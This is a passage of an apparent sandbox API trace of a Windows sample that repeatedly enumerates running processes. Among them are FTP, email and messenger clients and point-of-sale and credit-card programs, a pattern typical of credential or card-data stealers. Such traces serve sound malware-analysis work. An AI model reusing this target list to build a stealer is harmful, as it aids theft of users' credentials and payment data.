lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0252.712] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0252.718] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0252.721] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0252.724] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0252.727] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0252.730] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0252.733] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0252.736] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0252.739] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0252.742] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0252.745] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0252.748] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0252.751] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0252.754] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0252.756] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0252.759] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0252.765] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0252.767] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0252.770] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0252.775] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0252.778] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0252.780] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0252.783] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0252.786] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0252.789] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0252.791] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0252.794] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0252.797] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0252.800] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0252.802] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0252.805] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0252.813] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0252.816] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0252.818] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0252.822] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0252.825] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0252.827] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0252.926] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.929] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0252.931] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0252.934] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0252.936] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0252.939] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0252.941] CloseHandle (hObject=0x2198) returned 1 [0252.941] Sleep (dwMilliseconds=0x64) [0252.943] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0252.959] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0252.961] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0252.963] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0252.965] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.967] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0252.969] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0252.971] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0252.972] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0252.974] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0252.976] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.978] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.981] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.982] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.984] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.986] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.988] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.990] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.994] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.996] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.998] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0253.000] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0253.002] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x30, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0253.003] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.005] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0253.007] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0253.009] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0253.011] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0253.013] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0253.014] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0253.016] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0253.018] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.019] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.022] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0253.023] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0253.025] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0253.027] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0253.029] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0253.031] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0253.079] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0253.081] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, 